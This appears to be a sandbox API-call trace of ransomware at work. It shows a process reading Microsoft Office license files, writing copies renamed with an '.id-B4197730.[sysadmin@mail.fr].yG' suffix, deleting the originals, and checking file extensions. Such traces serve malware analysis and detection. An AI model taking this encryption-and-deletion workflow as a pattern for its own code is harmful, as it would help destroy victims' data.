	[0174.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0174.922] lstrlenW (lpString=".1cd") returned 4
	[0174.922] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0174.922] lstrlenW (lpString=".jpg") returned 4
	[0174.922] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.922] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11646) returned 1
	[0174.922] CloseHandle (hObject=0x4d8) returned 1
	[0174.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms")) returned 0x220
	[0174.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0174.924] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.924] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0174.925] GetLastError () returned 0x0
	[0174.925] ReadFile (in: hFile=0x4d8, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2d7e, lpOverlapped=0x0) returned 1
	[0174.992] WriteFile (in: hFile=0x554, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0174.993] ReadFile (in: hFile=0x4d8, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.993] WriteFile (in: hFile=0x554, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x124, lpOverlapped=0x0) returned 1
	[0174.993] SetEndOfFile (hFile=0x554) returned 1
	[0174.993] CloseHandle (hObject=0x554) returned 1
	[0174.994] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.994] SetEndOfFile (hFile=0x4d8) returned 1
	[0175.003] CloseHandle (hObject=0x4d8) returned 1
	[0175.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0175.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms")) returned 1
	[0175.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0175.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0175.004] lstrlenW (lpString=".doc") returned 4
	[0175.004] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.004] lstrlenW (lpString=".docx") returned 5
	[0175.004] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.005] lstrlenW (lpString=".pdf") returned 4
	[0175.005] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.005] lstrlenW (lpString=".xls") returned 4
	[0175.005] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.005] lstrlenW (lpString=".xlsx") returned 5
	[0175.005] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.005] lstrlenW (lpString=".ppt") returned 4
	[0175.005] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0175.005] lstrlenW (lpString=".zip") returned 4
	[0175.005] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.005] lstrlenW (lpString=".rar") returned 4
	[0175.005] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.005] lstrlenW (lpString=".bz2") returned 4
	[0175.005] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.005] lstrlenW (lpString=".7z") returned 3
	[0175.005] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0175.005] lstrlenW (lpString=".dbf") returned 4
	[0175.005] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0175.005] lstrlenW (lpString=".1cd") returned 4
	[0175.005] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0175.005] lstrlenW (lpString=".jpg") returned 4
	[0175.005] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.006] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11195) returned 1
	[0175.006] CloseHandle (hObject=0x4d8) returned 1
	[0175.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms")) returned 0x220
	[0175.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0175.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0175.007] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.008] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0175.009] GetLastError () returned 0x0
	[0175.009] ReadFile (in: hFile=0x4d8, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2bbb, lpOverlapped=0x0) returned 1
	[0175.246] WriteFile (in: hFile=0x554, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0175.247] ReadFile (in: hFile=0x4d8, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.247] WriteFile (in: hFile=0x554, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x11c, lpOverlapped=0x0) returned 1
	[0175.247] SetEndOfFile (hFile=0x554) returned 1
	[0175.247] CloseHandle (hObject=0x554) returned 1
	[0175.248] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.248] SetEndOfFile (hFile=0x4d8) returned 1
	[0175.252] CloseHandle (hObject=0x4d8) returned 1
	[0175.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0175.577] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms")) returned 1
	[0175.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0175.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0175.578] lstrlenW (lpString=".doc") returned 4
	[0175.578] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.578] lstrlenW (lpString=".docx") returned 5
	[0175.578] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.578] lstrlenW (lpString=".pdf") returned 4
	[0175.578] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.578] lstrlenW (lpString=".xls") returned 4
	[0175.578] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.578] lstrlenW (lpString=".xlsx") returned 5
	[0175.578] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.578] lstrlenW (lpString=".ppt") returned 4
	[0175.578] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0175.579] lstrlenW (lpString=".zip") returned 4
	[0175.579] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.579] lstrlenW (lpString=".rar") returned 4
	[0175.579] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.579] lstrlenW (lpString=".bz2") returned 4
	[0175.579] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.579] lstrlenW (lpString=".7z") returned 3
	[0175.579] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0175.579] lstrlenW (lpString=".dbf") returned 4
	[0175.579] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0175.579] lstrlenW (lpString=".1cd") returned 4
	[0175.579] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0175.579] lstrlenW (lpString=".jpg") returned 4
	[0175.579] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.580] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11195) returned 1
	[0175.580] CloseHandle (hObject=0x2a8) returned 1
	[0175.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms")) returned 0x220
	[0175.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0175.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0175.581] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.581] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0175.582] GetLastError () returned 0x0
	[0175.583] ReadFile (in: hFile=0x2a8, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2bbb, lpOverlapped=0x0) returned 1
	[0175.585] WriteFile (in: hFile=0x408, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0175.586] ReadFile (in: hFile=0x2a8, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.586] WriteFile (in: hFile=0x408, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x11c, lpOverlapped=0x0) returned 1
	[0175.586] SetEndOfFile (hFile=0x408) returned 1
	[0175.586] CloseHandle (hObject=0x408) returned 1
	[0175.586] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.586] SetEndOfFile (hFile=0x2a8) returned 1
	[0175.590] CloseHandle (hObject=0x2a8) returned 1
	[0175.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0175.591] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms")) returned 1
	[0175.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0175.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0175.592] lstrlenW (lpString=".doc") returned 4
	[0175.592] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.592] lstrlenW (lpString=".docx") returned 5
	[0175.592] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.592] lstrlenW (lpString=".pdf") returned 4
	[0175.592] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.592] lstrlenW (lpString=".xls") returned 4
	[0175.592] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.592] lstrlenW (lpString=".xlsx") returned 5
	[0175.592] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.593] lstrlenW (lpString=".ppt") returned 4
	[0175.593] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0175.593] lstrlenW (lpString=".zip") returned 4
	[0175.593] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.593] lstrlenW (lpString=".rar") returned 4
	[0175.593] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.593] lstrlenW (lpString=".bz2") returned 4
	[0175.593] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.593] lstrlenW (lpString=".7z") returned 3
	[0175.593] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0175.593] lstrlenW (lpString=".dbf") returned 4
	[0175.593] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0175.593] lstrlenW (lpString=".1cd") returned 4
	[0175.593] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0175.593] lstrlenW (lpString=".jpg") returned 4
	[0175.593] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.594] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=28261) returned 1
	[0175.594] CloseHandle (hObject=0x2a8) returned 1
	[0175.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms")) returned 0x220
	[0175.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0175.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0175.595] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.595] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0175.597] GetLastError () returned 0x0
	[0175.597] ReadFile (in: hFile=0x2a8, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x6e65, lpOverlapped=0x0) returned 1
	[0175.604] WriteFile (in: hFile=0x408, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x6e70, lpOverlapped=0x0) returned 1
	[0175.605] ReadFile (in: hFile=0x2a8, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.605] WriteFile (in: hFile=0x408, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x11e, lpOverlapped=0x0) returned 1
	[0175.605] SetEndOfFile (hFile=0x408) returned 1
	[0175.606] CloseHandle (hObject=0x408) returned 1
	[0175.606] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.606] SetEndOfFile (hFile=0x2a8) returned 1
	[0175.666] CloseHandle (hObject=0x2a8) returned 1
	[0175.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0175.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms")) returned 1
	[0175.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0175.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0175.668] lstrlenW (lpString=".doc") returned 4
	[0175.668] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.668] lstrlenW (lpString=".docx") returned 5
	[0175.668] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.668] lstrlenW (lpString=".pdf") returned 4
	[0175.668] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.669] lstrlenW (lpString=".xls") returned 4
	[0175.669] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.669] lstrlenW (lpString=".xlsx") returned 5
	[0175.669] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.669] lstrlenW (lpString=".ppt") returned 4
	[0175.669] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0175.669] lstrlenW (lpString=".zip") returned 4
	[0175.669] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.669] lstrlenW (lpString=".rar") returned 4
	[0175.669] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.669] lstrlenW (lpString=".bz2") returned 4
	[0175.669] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.669] lstrlenW (lpString=".7z") returned 3
	[0175.669] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0175.669] lstrlenW (lpString=".dbf") returned 4
	[0175.669] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0175.670] lstrlenW (lpString=".1cd") returned 4
	[0175.670] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0175.670] lstrlenW (lpString=".jpg") returned 4
	[0175.937] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.140] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11179) returned 1
	[0176.140] CloseHandle (hObject=0x470) returned 1
	[0176.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms")) returned 0x220
	[0176.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
